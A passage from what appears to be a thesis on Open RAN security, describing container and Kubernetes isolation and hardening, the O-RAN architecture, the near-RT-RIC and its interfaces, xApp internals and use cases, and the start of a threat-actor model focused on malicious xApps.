exists various widely adopted runtimes, such as Docker, containerd and CRI-O.
The container runtime is responsible for managing container images, the container’s
lifecycle and state, such as creation, start, termination and deletion of containers,
while the actual execution of the container is handled by a lower-level runtime named
RunC, that is integrated and operated through the higher-level container runtime,
such as containerd. The isolation of containers is created through specific kernel
constructs, mainly namespacing, cgroups and capabilities. Namespaces allow for
the isolation of the container process from other host processes and thereby also
other containers. This includes a network namespace, preventing access to the host’s
network interfaces, unless explicitly shared through certain capabilities. Furthermore,
the process namespace, prevents the container from seeing other processes, creating
a unique process tree and process IDs for each container. The isolation of users and
groups is achieved through a seperate user namespace, preventing the interaction
between the container and the host’s users and groups. Additionally, filesystems,
the host- and domainname and Inter-Process Communication (IPC) capabilities are
isolated, through the use of a separate mount namespace, hostname namespace and
IPC namespace, respectively. Resource restrictions are achieved through a concept
known as cgroups, that allow for a granular allocation of the host’s resources, in a
hierarchical manner. Thereby, a container’s resources such as CPU, RAM, network
and disk I/O can be restricted, to prevent a container from exceeding allowed limits
and affecting the availability of other containers and the host system itself. A further
mechanism to isolate containers, is through the fine-grained allocation and removal
of capabilities. This facilitates access to the required kernel functions that the host’s
root user has by default, but strips the capabilities of a container to prevent access
to functions it does not need [36] [13].
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The overhead of VMs and the lack of isolation between containers and the host
system, has contributed to the development of hybrid solutions, that combine the
benefits of both worlds, hence VMs-level isolation and the lightweight nature of
containers. Some of the most prominent hybrid solutions are Kata containers and
gVisor. Kata containers are minimalistic VMs, with each container having it’s own
kernel. This provides VM-level isolation, while reducing the overhead of a full-blown
Linux kernel. gVisor on the other hand, is a sandboxed runtime, that intercepts and
monitors system calls of the container, through the so-called Sentry system, which is
a reimplemented in user-space. Thereby, gVisor provides strong isolation through
the boundary between the container and the host’s kernel and implements other
sandbox features such as memory management, while not having the overhead of a
complete VM [36].
When operating containers, it is crucial to ensure that no vulnerabilities are introduced
into the environment. There are various means to achieves this, such as automatic
scanning of images and manually dissecting the image layers and files that make up
the container image. Prominent tools for conducting vulnerability scans are Clair,
Trivy and Grype [37]–[39]. For a more detailed overview and manual dissection, the
tool Dive is a popular and powerful choice [40].

2.4.2 Kubernetes Security

The deployment of single containerized applications is not scalable in the context of
large and distributed systems, such as the RAN of a cellular network. Therefore, a
container orchestration platform is required that manages the containerized applica-
tions and services, distributes and schedules them across nodes and ensures their
operation, inter- and intra- communication and the availability of the entire system
at scale. These functions are performed by an orchestration platform such as Kuber-
netes, in combination with a container runtime and other supporting components.
Kubernetes is a powerful and versatile platform, that offers advanced capabilities in
the context of orchestrating container workloads such as replication, load balancing,
automated rollouts and rollbacks, self-healing features, storage management and
more. The platform was initially created and maintained by Google, and is now
open-source and part of the Cloud Native Computing Foundation (CNCF). The
CNCF is a major driver in the realm of cloud-computing and supports and promotes
various prominent software projects, one of which is Kubernetes.
The architecture of Kubernetes is depicted in the Figure 2.10 below.
The architecture of Kubernetes comprises two major types of components, the control
plane and the worker node. Depending on the deployment scenario, there may exist
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Figure 2.10: Kubernetes Architecture [41]

multiple control planes, responsible for managing the deployment of the applications
and services. Furthermore, the worker nodes are responsible for running the actual
workloads.

Control Plane

This section introduces the major components that make up the control plane of
Kubernetes.

• Kube-API Server: The central point of communication for the control plane,
that exposes the Kubernetes Application Programming Interface (API). The
API is the main hub for all communication with the cluster, hence interaction
with the control plane and the worker nodes. The API authenticates and
authorizes requests, which in turn are processed and update the internal state
of the entire cluster, in the form of manifests, which are stored in the etcd
database.

• etcd: etcd is a consistent and highly available key-value store, that represents
the cluster’s state. Etcd stores all configurations and resources of the cluster,
such as pods, services, deployments and other objects. The high reliability,
performance, security features and distributed nature, makes etcd a suitable
choice for Kubernetes.

• Kube-Scheduler: The scheduler is responsible for scheduling unallocated
workloads, in the form of pods, to the available and health worker nodes.
Some of the factors taken into account in the scheduling process, besides the
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availability and health of worker nodes, are affinity and anti-affinity constraints
and data locality. This ensures that workloads that need to frequently commu-
nicate are scheduled on the same node, while workloads that are critical to the
operation and availability of the cluster, are scheduled on different nodes.

• Kube-Controller Manager: The controller manager executes the controllers,
that coordinate and regulate the state of the cluster. This ensures, that the
desired state of the cluster is attained, when the current state deviates. These
controllers include, but are not limited to the node, job, replication, endpoint,
service account and namespace controllers.

• Cloud Controller Manager: The cloud controller oversees interaction with
the cloud provider’s APIs. Thereby, this control is redundant in on-premise
scenarios, however essential whenever the cluster is using cloud provider re-
sources.

Worker Node

This section provides an overview of the most critical components that make up a
worker node in Kubernetes.

• Kubelet: The kubelet is the core process running on each worker node. It
ensures the execution and health of the Kubernetes resources allocated to the
node, such as pods. Furthermore, the kubelet manages the node’s compute
and storage resources, such that no limits are exceeded and all Kubernetes
resources run as intended, to represent the desired state of the cluster on the
node. The kubelet interaces and interfaces with the container runtime, in order
to manage the pods and associated containers.

• Kube-Proxy: The kube-proxy upholds all networking functions of the node,
by implementing the appropriate network policies and rules. This facilitates
the appropriate routing of traffic between pods and also originating or destined
for external entities.

• Container Runtime: The container runtime manages the execution of con-
tainers and their lifecycle [41].

The numerous components involved in the orchestration of containerized workloads,
ranging from COTS hardware, to software components, increase the threat surface
of the system dramatically. Therefore, implementing appropriate patch and vul-
nerability management is crucial to prevent adversaries from exploiting publicly
available vulnerabilities. Security starts with threat modeling the affected system
and identifying the threat landscape including potential adversaries that might target
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the system. Furthermore, the pod configuration must be carefully reviewed, such
that no pod has unnecessary capabilities and executables, that could be misused by
adversaries through living off the land techniques. Consistent configuration adhering
to security best practices, can be enforced using policy agents, to prevent the use
of dangerous configuration options, insecure image sources, unrestricted resource
access and network policies that allow unforeseen communication. The utilization
of vulnerability and container analysis tools should be applied in the Continous
Integration and Continous Deployment (CI/CD) pipeline, on internally hosted image
repositories to prevent supply chain attacks. Furthermore, images should be signed
and verified upon deployment, ensuring the integrity of the container image. The use
of isolation and sandboxing techniques, as discussed previously, through Kata and
gVisor, can further prevent exploitation, lateral movement and privilege escalation
to the host system. The traffic between Kubernetes resources and especially with
external entities, should be limited to the minium required and monitored as metic-
ulously as possible, to ensure in-depth visibility into all interactions taking place
in and with the cluster. The means of how data is accessed and exchanged must
be reviewed, for example pods that do not require write access, should be based on
immutable container images or equipped with read-only file systems. Any mounts of
host paths should be justified and only allowed when absolutely necessary. These
measures can be further reinforced through runtime security tools, such as Falco and
Tetragon, that can monitor and prevent malicious behavior [42] [43].

Helm

Helm is a package manager for Kubernetes, that enables the consistent deployment
of even the most complex Kubernetes applications, through the use of charts. It
is a CNCF project and the most popular package manager for Kubernetes. Helm
facilitates the automated installation, deinstallation and seamless upgrades of ap-
plications, by packaging and representing application as Helm charts. The charts
can be easily customized through the use of templates, and facilitate the use of
versioning and dependency management. Furthermore, Helm’s release system, en-
ables the installation of disparate versions of the same application, while maintaining
independent configurations and avoiding dependency conflicts [44].

2.5 Related Work
The field of Open RAN has been actively studied and researched over the past several
years. The topic of security and xApps/rApps has been a major focus of various
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research projects and led to the publishing of a multitude of papers. This section
explores some of the most relevant publications in this context and how they relate
to the work discussed in this thesis.
The WG11 is the working group inside the O-RAN alliance, responsible for all
publications and research regarding the security of the Open RAN ecosystem. The
working group has published specifications on threat modeling, thereby identifying
relevant threat actors and threat vectors that can be identified and referenced using
O-RAN threat IDs. Moreover, the WG11 published security assessments regarding
specific O-RAN components, such as the O-Cloud, the near-RT-RIC and xApps.
The threats are categorized in a relatively broad context and lack specific attacker
techniques that can be utilized to exploit the identified threats [1], [45]–[47].
The lack of O-RAN threat ID mapping to explicit adversarial techniques has been
addressed by Klement et. al in the paper "Toward Securing the 6G Transition" [48].
The paper describes a method to map O-RAN threat IDs onto the MITRE ATT&CK
framework and thereby to specific techniques that adversaries employ to exploit these
threats. Based on this mapping and further derivation from the specific technique
to real-world CVEs, severity scores are calculated based on the CVSS framework.
The severity scores are categorized into impact, exploitability and base score. This
adds a comprehensive context to the O-RAN threat IDs and provides the means to
technically assess the O-RAN threats in a practical context.
The BSI is an important governmental agency in Germany that is responsible for
cyber security and information security. The agency has funded various research
projects and published a paper on the security aspects and associated risks of Open
RAN, titled "Open RAN Risk Analysis" in 2022 [49]. This paper provides an extensive,
yet theoretical analysis of the vulnerabilities and associated threats facing the Open
RAN ecosystem. The identified vulnerabilities are evaluated according to the security
properties of the Confidentiality, Integrity and Availability (CIA) triad. The paper
discusses the risks of architectural components and interfaces in depth, however
also dives into the function and threats posed by xApps and rApps, and how these
components integrated and exposed to the RAN ecosystem. The study has identified
and categorized the adversaries that might target the Open RAN ecosystem, with a
special focus on insider threats. The identified adversaries are described in the list
below.

• Outsider: The outsider is an attacker with no initial access vectors to the
system. The attacker may only attack through defined interfaces and is
suspected to have full control over the transport medium used to interface with
their target. Thereby the attacker may eavesdrop or modify and relay data
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to and from the target, either using a radio interface or an IP-based channel
between 5G-core and the O-RAN components.

• User: The user is an end-user of the system and in possession of a User
Equipment (UE) with valid credentials. Thus, the user has access to all of the
capabilities of the outsider, but with additional access to the mobile network
through legitimate credentials.

• Cloud Operator: The cloud operator is an adversary with access to the
physical and logical components of the cloud infrastructure used to host the
RAN components, framed the O-Cloud by the O-RAN Alliance. Thereby,
this attacker poses a significant threat to the availability and partly integrity
of the RAN components. Since, the cloud operator is not able to directly
access RAN components, but can target the underlying cloud components and
infrastructure directly.

• Insider: The insider has administrative control over a single RAN component,
and thereby has direct access inside the network and to the RAN, limited to
the realm and exposure of the RAN component he controls. This threat actor
is especially relevant in the analysis of this thesis, as the malicious operation
and control of xApps are evaluated in the context the RAN ecosystem.

• RAN Operator: The RAN operator possesses by far the most capabilities
and critical access, as they have complete control of the full RAN ecosystem,
including all RAN components and communication paths. Thereby, the RAN
operator has the most access vectors and full exposure to all threat vectors in
the RAN.

In regards to the risk analysis posed by xApps in the RAN ecosystem, the BSI
paper highlights the access to the A1- and E2-interfaces. Furthermore, due to xApps
being hosted in the near-RT-RIC, they are closer to the 3rd Generation Partnership
Project (3GPP) interfaces, and thereby also closer to the core network and user
plane, compared to rApps hosted on the non-real-time RAN Intelligent Controller
(non-RT-RIC). The study further stresses the importance of how access controls
and role-based access control are implemented for xApps. xApps are hosted on
the same physical infrastructure and even orchestration environment (Kubernetes)
as the near-RT-RIC, thereby leading to thinner isolation, especially for externally
developed and installed software components. This highlights the importance of
how isolation and separation mechanisms are to be implemented in this context,
to prevent privilege escalation and lateral movement stemming from a malicious
or compromised xApp. Moreover, the provided xApp Software Development Kits
(SDKs) and frameworks, include programming languages such as C or C++, which
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are not memory safe and thereby prone to buffer overflow attacks [49]. The relevant
terminology and defined O-RAN architecture are discussed in detail in chapter 3.
The National University of Taiwan of Science and Technology, has specifically studied
the security of xApps and the implications of weak security controls in the context
of the O-RAN reference implementation [50]. The study highlights the importance
of access control mechanisms, and that the extent to which they are implemented in
the H-Release by the O-RAN SC, is insufficient to prevent malicious xApps from
gaining unauthorized access in RAN ecosystem. The study describes the exploitation
of these weaknesses and has registered two CVEs in this context. The impact of
these exploits on the availability of the RAN is significant, and the threat vector
realistic and accessible to external adversaries through supply chain attacks.
Trend Micro has conducted research into the security threats posed by xApps
and published two articles that address the identified threats. The articles are
titled "Opening Critical Infrastructure: The Current State of Open RAN Security"
and "Open RAN: Attack of the xApps" [51], [52]. The research has identified
various vulnerabilities in the O-RAN reference implementation the O-RAN SC.
The proof-of-concept exploits, target the glsrmr and E2 services, demonstrating
a substantial impact on the availability of the cellular network and leading to
performance degradations. Thereby, this research highlights the importance of
vetting the security of xApps prior to deployment, stresses the need for strong access
controls for xApps, implementing robust API security for the E2 manager API and
operability of base RAN functions in case of the crash of the near-RT-RIC.
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This chapter presents an overview of the O-RAN architecture with all its components
and interfaces. Furthermore, this chapter delves into the architecture and internals
of the near-RT-RIC and xApps.

3.1 O-RAN Architecture
The O-RAN architecture as depicted in 3.1 is based on the specification of the
O-RAN Alliance, specifically the O-RAN Working Group 1, that is responsible for
the overall architecture and use cases. The figure depicts the disaggregated Next
Generation Node B (gNB) components and their open interfaces, supported and
optimized through the RICs and their modular extension capabilities in the form of
xApps and rApps. This architecture facilitates the creation of a multi-vendor RAN
ecosystem, with interoperable components based on virtualization and cloudification,
depicted in the figure as the O-RAN Cloud (O-Cloud) [53], [54].

Figure 3.1: O-RAN Architecture [55]
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Components

The subsequent section depicts an overview of the components that make up the
O-RAN architecture.

• O-Cloud: The O-Cloud represents all the hardware and software components
that make up the virtualization and orchestration layer for hosting the various
O-RAN components. The infrastructure and according compute resources
are set to be distributed across multiple data centers, to provide edge and
centralized resources, depending on factors such as timing constraints. This
virtualization layer facilitates the automated deployment and scaling of the
various O-RAN functions and components via the O2 interface.

• Service Management and Orchestration (SMO): The SMO framework
coordinates the orchestration, management and monitoring of the O-RAN
components, through the interconnection with the O-Cloud via the O2 interface
and the O-RAN components via the O1 interface. The SMO hosts the non-RT-
RIC with the according rApps, and thereby supports data collection, analysis
and decision making, also with the support of Artificial Intelligence (AI) and
ML algorithms.

• near-RT-RIC: The near-RT-RIC facilitates real-time control and resource
optimization over the connected E2 nodes. The near-RT-RIC further hosts the
xApps, that allow for the extension of optimization and steering capabilities
within the ecosystem. The near-RT-RIC is discussed in more detail in 3.2.

• non-RT-RIC: The non-RT-RIC provides non-real-time control, with control
loops of above one second. The main function is to provide the near-RT-RIC
with guidance through the exchange of policies via the A1 interface. The
functionality of the data analytics and enrichment are driven by the extension
of rApps. The non-RT-RIC manages the R1 termination, that is used to
interface with the rApps. This interface enables rApps to access the data
storage of the non-RT-RIC, which can be employed by rApps for AI and ML
use cases.

• Radio Unit (O-RU): The O-RU represents the radio unit hosted at each cell
site. This component cannot be virtualized and conducts the physical layer and
radio frequency functions, such as radio transmission and reception of signals.

• Distributed Unit (O-DU): The O-DU handles real-time processing of radio
signals, by implementing higher-level physical layer functions, as well as the
implementation of the Medium Access Control (MAC) and Radio Link Control
(RLC) layers. It connects to the O-RU through the Open Fronthaul interface
and to the Central Unit (O-CU) through the F1 interface.
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• O-CU: The O-CU is split into two separate components, the Central Unit
Control Plane (O-CU-CP) and the Cetnral Unit User Plane (O-CU-UP). The
O-CU implements the higher-level radio protocol stack. With the O-CU-CP
being responsible for the control plane functions, and the O-CU-UP being
responsible for the user plane functions. The control plane functions encompass
the Radio Resource Control (RRC), Packet Data Convergence Protocol (PDCP)
layer, while the user plane function entail the Service Data Adaptation Protocol
(SDAP) and PDCP layer. The O-CU-CP connects to the near-RT-RIC via
the E2 interface and is interconnected with the O-CU-UP via the E2 interface.
Both the O-CU-CP and the O-CU-UP further connect to the network core via
disparate X2, Xn and NG interfaces [7].

Interfaces

This section describes the most significant interfaces that interconnect the various
components of the O-RAN architecture.

• E2: The E2 interface interconnects the near-RT-RIC with the disaggregated
gNB components, specifically the O-DU, the O-CU-CP and the O-CU-UP.
These particular components are referred to as the E2 nodes. The interface
facilitates the real-time control and optimization of these E2 nodes, through the
intelligent controller of the near-RT-RIC. The E2 interface is further discussed
in 3.2.

• E1: The E1 interface interconnects the O-CU-CP with the O-CU-UP, to enable
the exchange of control plane signalling messages between the two components.

• A1: The A1 interface interconnects the non-RT-RIC and the near-RT-RIC.
The interface enables the exchange of high-level policies and guidance from
the non-RT-RIC to the near-RT-RIC. These high-level goals are termed as the
RAN intent, that can be used to fulfill Service Level Agreements (SLAs) and
Quality of Service (QoS) requirements.

• O1: The O1 interface interconnects the SMO framework with the disaggre-
gated gNB components, as well as the near-RT-RIC, for management and
orchestration purposes. These management services encompass all the Fault,
Configuration, Accounting, Performance, Security (FCAPS) functionality re-
quired the Operations, Administration and Maintenance (OAM) of the O-RAN
ecosystem.

• O2: The O2 interface connects the SMO framework with the O-Cloud, to
facilitate the provisioning and scaling of the O-Cloud hosted Network Functions
(NFs). The interface further facilitates FCAPS functionality for the management
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and monitoring of the orchestrated O-RAN components.
• Open Fronthaul: The Open Fronthaul interface defines the communication

between the O-RU and O-DU. The interface encompasses the functionality
for user (U-) plane and control (C-) plane communication, as well as the
synchronization (S-) plane for coordinating and enforcing timing constraints
and a management (M-) plane for configuration purposes of the O-RU.

• F1: The F1 interface connects the O-DU with the O-CU with designated
sub-interfaces for the control O-CU-CP and user O-CU-UP plane components.

• Xn/X2: The Xn and X2 interfaces interconnect the various gNBs with each
other for mobility management purposes, such as handover procedures and
realizing concurrent connectivity for UE devices.

• NG: The NG interface connects the gNB to the core network. In the case of
the 5G core, the NG interface connects the gNB to the Access and Mobility
Management Function (AMF), on the control plane and User Plane Function
(UPF), on the user plane via a GPRS Tunneling Protocol (GTP) tunnel. [7],
[56]

3.2 Near-RT-RIC
This subsection introduces the architecture and key components that make up the
near-RT-RIC.

3.2.1 Architecture Overview

The near-RT-RIC is one of two RICs in the O-RAN architecture, that are responsible
for collecting and processing the telemetry of the RAN components for control
and optimization purposes. The near-RT-RIC conducts the real-time control and
optimization with control loops ranging between ten milliseconds up to one second.
Moreover, near-RT-RIC hosts xApps, that extend the RIC and implement the
optimization use cases, based on the collected telemetry and Key Performance
Indicators (KPIs). Furthermore, the near-RT-RIC terminates the E2, A1, O1 and
Y1 interfaces. The near-RT-RIC is connected to the E2 nodes via the E2 interface,
to the non-RT-RIC via the A1 interface and to the SMO via the O1 interface. The
Y1 interface enables the sharing or RAN analytics to subscribed Y1 consumers. The
architecture is depicted in 3.2 below.
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Figure 3.2: Near-RT-RIC Architecture [57]

3.2.2 Key Components

This section describes the most significant components and functionalities imple-
mented by the near-RT-RIC.

• Database and SDL: The database and Shared Data Layer (SDL) components
enable the persistent storage and exposure of RAN and UE information. The
main sub-components comprise the User Equipment NIB (UE-NIB) and the
Radio NIB (R-NIB) data structures. The UE-NIB maintains information on
connected UE devices and correlating the identifiers with the corresponding E2
node. The R-NIB manages information on the configuration and status of the
E2 nodes. The SDL service provides an abstraction layer to the database of the
near-RT-RIC, enabling for example xApps to subscribe to certain telemetry
data and also perform update and write operation to the database.

• xApp Subscription Management: The xApp subscription management
component coordinates the subscription of xApps to the telemetry and KPI
streams of the specified E2 nodes. The functionality further encompasses the
authorization process for xApps and the streamlining of equivalent subscriptions
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for multiple xApps.
• Conflict Mitigation: The conflict mitigation component handles the de-

tection and resolution of conflicting actions stemming from disparate xApps.
This is necessary, as multiple xApps can subscribe to the same KPIs, and
thereby request optimizations, apply configurations and control actions on the
same metrics, leading to potential conflicts that can impact and lead to the
degradation of the performance of the RAN.

• Messaging Infrastructure: This subsystem handles the internal routing
of messages between the various components within the near-RT-RIC. It
encompasses the discovery, registration and termination of endpoints, as well
as an API for sending and receiving messages using a point-to-point or publish-
subscribe communication model.

• Security: The security module implements measures to prevent the misuse
and exfiltration of sensitive information by malicious xApps, such as data from
the UE-NIB and the R-NIB. Furthermore, it restricts and protects the control
functions from being exploited by malicious xApps.

• Management Function: The management function implements FCAPS
functionality, such as monitoring, logging, configuration and fault management,
that support the operation, administration and maintenance of the near-RT-
RIC.

• Interface Termination: This function handles the termination of the E2, A1,
O1 and Y1 interfaces. The interfaces are further discussed in 3.2.3.

• API Enablement: The API enablement component facilitates the interaction
with the near-RT-RIC’s services, such as E2-services, A1-services, management-
and storage related services using the SDL interface. These functions include
the discovery of APIs, registration to services, authentication to services from
xApps and the handling of subscriptions and notifications requests to applicable
services.

• AI/ML Support: This component encompasses the infrastructure and ca-
pabilities to facilitate the use of AI and ML workflows in xApps. The main
building blocks are data pipelining, model management, training and inference
functions. The data pipelining function is used to collect data and prepare
data sets that can be utilized by AI and ML models. The model management
component enables the storage, versioning and fetching of the stored models.
The training function supports the training of models for xApps within the
near-RT-RIC. Lastly, the inference function uses the trained models to generate
and provide predictions to the requesting xApp.
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• xApp Repository: The xApp repository implements a management and
coordination system for xApps, that includes a catalog of available xApps,
their capabilities and supported policy types. Furthermore, the component
implements access control functions, to manage and restrict access according
to the operator defined policies [57].

3.2.3 Interfaces

This section discusses the interfaces that are terminated by the near-RT-RIC and
the function they facilitate in the context of the near-RT-RIC.

• E2: The E2 interface is terminated by the near-RT-RIC and enables the
subscription and exposure of services to E2 nodes, such as the O-DU, O-CU-
CP and O-CU-UP. Multiple E2 nodes may be connected to the near-RT-RIC,
while a single E2 node may only be connected to one near-RT-RIC. The near-
RT-RIC subscribes to an E2 node’s service, in order to collect and process
real-time telemetry and KPI data. This data entails but is not limited to
RAN and UE data and information on the exposed services and supported
functionality of the E2 node. This information, in turn, is used to steer E2
nodes and apply control actions through defined policies and trigger events.
The subscription and control actions can all be implemented by xApps, which
are discussed in 3.3 and facilitate the extension and programmability of the
near-RT-RIC [58].

• A1: The A1 interface is terminated by the near-RT-RIC and interconnects the
near-RT-RIC with the non-RT-RIC. The interface facilitates the exchange of
policies and enrichment information that are used to fulfill the RAN intent, as
defined by higher-level goals such as SLAs. These policies thereby allow the
near-RT-RIC to optimize radio resources for specific UEs and/or radio cells
and provide feedback or request additional information from the non-RT-RIC
to further steer and achieve the RAN intent [56].

• O1: The O1 interface is terminated by the near-RT-RIC and connects it to
the SMO framework. This interface is mainly used for monitoring purposes
in the context of this specific (near-RT-RIC ↔ SMO) link, as the extent to
which the RAN intent is fulfilled is of utmost importance. The interface further
facilitates the administration and monitoring of the state and configuration of
individual xApps. Lastly, the O1 interface is used for all the general FCAPS
functionality required for the OAM of the near-RT-RIC [56], [57].

• Y1: The Y1 interface facilitates the exposure of relevant KPI and RAN analytics
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to Y1 consumers. Due to the fact that this interface has not been implemented
in the reference implementation utilized for this thesis, the functionality of this
interface is not further discussed.

3.3 xApps
This section details the concept, technical architecture and interfaces of xApps and
their role in the O-RAN ecosystem. Furthermore, this section discusses the complexity
and interoperability of xApp development for disparate O-RAN implementations.
Lastly, the section presents some of the possible use cases that xApps can be employed
for.

3.3.1 Overview and Role in Near-RT-RIC

The programmability and extensibility of the near-RT-RIC is achieved through the
implementation and operation of xApps. These applications enable the monitoring,
assessment and optimization of RAN parameters to achieve the RAN intent. The
implementation of custom functionality is open to third-party developers, thereby
facilitating diverse implementations of use cases and a thriving ecosystem of xApps.
These applications are set out to be offered through repositories, internal for operators,
but mainly external publicly available repositories. The concept of these repositories
can be viewed as a counterpart to mobile phone app stores, but for the near-RT-RIC
ecosystem. The complexity of the O-RAN environment and the outdated and lack
of documentation by the O-RAN SC, has slowed the development, availability and
verification of xApps by researchers, MNOs and other industry bodies, specifically in
the context of the O-RAN SC reference implementation.
The standardization and specification of xApps serves as the basis for their develop-
ment, and the O-RAN SC has published several basic reference implementations, such
as "Hello World" xApps, that serve and implement the most essential functionality to
enable their onboarding and execution. Furthermore, the O-RAN SC has published
rudimentary guidelines for the development of xApps, as well as several SDKs for
varying programming languages, to facilitate their development. Despite these efforts,
the development and operation of xApps is a complex and challenging undertaking.
Furthermore, the existence of disparate O-RAN implementations and their specific
design choices, complicates the interoperability and reusability of xApps across the
different O-RAN implementations. This thesis solely discusses xApps in the context
of the O-RAN SC reference implementation. The development and implementation
of xApps in this context is further discussed in Chapter 5 [59].
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3.3.2 Internals and Interfaces

In the context of an operational O-RAN reference implementation deployment, a
xApp is micro-service described using a Helm Chart and deployed as a pod containing
one or more containers, that is in turn deployed within the Kubernetes cluster of
the near-RT-RIC. Therefore, an xApp is simply a containerized application, that is
part of the near-RT-RIC cluster, as shown in the abstract infrastructure view of a
xApp in Figure 3.3. This fact highlights the importance of the implementation of
security measures, especially isolation mechanisms, to protect the near-RT-RIC and
connected RAN components from malicious or compromised xApps. The deployment
process of xApps is discussed in detail in Chapter 5 [59].

Figure 3.3: Abstract infrastructure view of an xApp, as containerized application hosted
within the near-RT-RIC Kubernetes deployment. [59]

The near-RT-RIC hosts various other components, which are also deployed as pods
containing one or more containers, and described using a Helm Chart. The most
significant near-RT-RIC components in the O-RAN SC reference implementation
that interact with xApps are describe below.

• The Application Manager (AppMgr) is responsible for the management of
xApps, including their deployment and lifecycle management. The component
further exposes a list of available xApps to other near-RT-RIC components,
and handles a xApp’s installation and deinstallation procedure.
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• The Subscription Manager (SubMgr) coordinates the subscription of
xApps to the various E2 nodes, in order for them to collect and process the
desired telemetry and KPI data.

• The E2 Manager (E2Mgr) registers and monitors the E2 nodes.
• The E2 Terminator (E2Term) facilitates the communication between E2

nodes and the near-RT-RIC components such as xApps.
• The RIC Message Router (RMR) operates the RIC’s internal messag-

ing infrastructure, that enables communication between all the near-RT-RIC
components.

• The Routing Manager (RtMgr) coordinates and distributes the RMR routes
to the near-RT-RIC components.

• The SDL and Shared Time Series Layer (STSL) components abstract the
underlying database storage and offer a common interface for storage operations
to the near-RT-RIC components.

• The A1 Mediator (A1 Mediator) retrieves policies from the non-RT-RIC
and distributes them to the target xApps. These policies are then used by the
xApp’s control logic to steer the RAN components and to reflect the RAN
intent [59].

Figure 3.4: xApp Interaction with the O-RAN ecosystem and according interfaces. [59]
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The available APIs and interaction between near-RT-RIC components and xApps
is illustrated in Figure 3.4. The specific interfaces that an xApp interacts with can
vary substantially depending on its implemented logic and intended goals. The only
mandatory interface is the O1-ConfigMap (CM) interface, that provides the xApp
with its initial configuration parameters in the form of an xApp descriptor. This
configuration facilitates the installation of the xApp, creation of the Kubernetes pod
and registration of the xApp with the near-RT-RIC, such as the RtMgr.

• O1-CM: The O1-CM interface provides xApp with their initial configuration
parameters in the form of a Kubernetes CM, that is mounted into the xApp’s
pod. These parameters include metadata and values required for the opera-
tion of the xApp’s application logic, but also parameters that facilitate the
interaction with near-RT-RIC in the Kubernetes environment.

• Internal Messaging (RMR): The RMR facilitates the communication be-
tween xApps and other near-RT-RIC components, through the internal mes-
saging infrastructure. This creates a decoupled and abstracted communication
layer, that dismisses the need for Kubernetes infrastructure specific details
such as Internet Protocols (IPs) and Domain Name System (DNS) names. The
RMR operates according to the publish-subscribe communication pattern.

• Storage Interfaces (SDL and STSL): The storage interfaces SDL and
STSL allow xApps to conduct operations on the near-RT-RIC’s database, such
as persistent storage of data or the modification and retrieval thereof. This
includes the authentication and authorization of the xApp to storage resources.

• E2 Subscription: The E2 subscriptions facilitate the retrieval of real-time
telemetry and KPI data from the subscribed E2 nodes. Furthermore, it enables
xApps to exercise control actions on the subscribed E2 nodes and RAN NFs,
based on the derived analytics and higher-level policies stemming from the
non-RT-RIC.

• Hypertext Transfer Protocol (HTTP): The HTTP interface provides
xApps with the functionality of interacting with HTTP endpoints and Rep-
resentational State Transfer (RESTful) APIs. This facilitates the interaction
with Kubernetes APIs and other RIC components, as well as the exposure of
the xApp’s functionality via HTTP endpoints [59].

3.3.3 Use Cases

The range of use cases that xApps can implement is diverse and can range from
fulfilling SLA requirements, to radio resource optimization, energy efficiency, network
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slicing, anomaly detection, security monitoring and more. Due to the nature of
the control loop timescales of the near-RT-RIC, the use cases for xApps primarily
concern the implementation of control operations in the (near) real-time domain,
ranging from 10 milliseconds up to one second. The follow section provides examples
of use cases that xApps can be utilized for.

• Admission Control: This use case concerns itself with the admission of UEs
into the RAN. Example scenarios include limiting the number of UEs to a
maximum number per RAN cell, in order to prevent congestion and degradation
of the QoS and Quality of Experience (QoE).

• Monitoring: This use case encompasses the extraction of KPIs and metrics
regarding UEs and connected RAN components, such as the O-DU, O-CU-CP
and O-CU-UP.

• Anomaly Detection: The use case of anomaly detection entails the detection
of deviations from baseline behavior regarding UE or specific RAN component
activity. These anomalies can be utilized to prevent potential performance
degradations or in the security context, to detect potential adversarial activity.

• Traffic steering: This use case entails load balancing of traffic through the
distribution of UEs across the available gNBs, thereby optimizing resource
utilization and meeting QoE targets.

• Network slicing: The use case of network slicing encompasses the creation
and resource allocation of network slices. Network slicing provisions virtual
instances of mobile networks with dedicated Access Point Names (APNs),
tailored to meet specific QoS requirements.

• Context-based dynamic handover management for Vehicle-to-Everything
(V2X): This use case aims at optimizing the handover of UE in the context of
V2X scenarios, to ensure seamless connectivity for moving vehicles.

• Dynamic radio resource allocation for Unmanned Aerial Vehicles
(UAVs): This use case encompasses the dynamic provisioning and management
of radio resources to assure the connectivity and operation of UAVs.

• Massive Multiple-Input Multiple-Output (MIMO) beamforming opti-
mization: This use case entails the optimization of beamforming mechanisms
to improve coverage and utilization of capacity in scenarios with high device
density, such as highly populated urban scenarios or sport events.

• RAN sharing: The use case of RAN sharing aims at optimizing the coordina-
tion and utilization of radio resources among multiple MNOs within a limited
geographical area.

• Energy efficiency: This use case concerns itself with the optimization of
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the energy consumption in the RAN. Example scenarios may include the the
powering off of cells in densely covered areas during periods of low utilization,
such as nighttime. This reduces the energy consumption, while maintaining
availability of the RAN to its users.

• Local indoor positioning: This use case is concerned with accurate position-
ing of UEs within a confined indoor environment such as a factory employing
cellular connected robots or a shopping mall analyzing and optimizing user
experience [49], [59].
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This chapter presents a threat model for the O-RAN SC reference implementation,
with a special focus on the near-RT-RIC and the xApps operating within. The first
section details threat actors, including assumptions regarding their capabilities, mo-
tivations and objectives. Following this, the chapter discusses key threat frameworks
and identifies applicable threat vectors. Lastly, the selection of the most relevant
attack vectors are presented.
Threat modeling is a crucial aspect in the context of this thesis, as it provides the
structure and theoretical foundation for implementing an adversarial simulation strat-
egy. Consequently, the threat model facilitates the identification and prioritization of
relevant threats, and aids in an understanding of potential adversarial behavior. This
theoretical approach is essential considering the lack of real-world threat intelligence
and incident coverage in the context of operational O-RAN deployments.

4.1 Threat Actors
This section examines the identified threat actors, including assumptions regarding
their capabilities, motivations and objectives. The first subsection examines threat
actors relevant to the entire O-RAN ecosystem, and the second subsection presents
threat actors targeting only the near-RT-RIC, specifically through xApps.

4.1.1 Threat Actors targeting the O-RAN Ecosystem

The WG11 and the BSI have identified and categorized various threat actors posing
a danger to the O-RAN ecosystem. As discussed in section 2.5 the BSI emphasizes
insider threats, due to the limitations and complexity of attacks by external threat
actors or users with mere UE access to the mobile network. An external threat
actor could target the protocol stack of 5G mobile networks through 3GPP defined
interfaces or attack via the radio interface, however these attacks are out of scope
for this thesis. Thereby, this work mainly focuses on insider threats, due to the
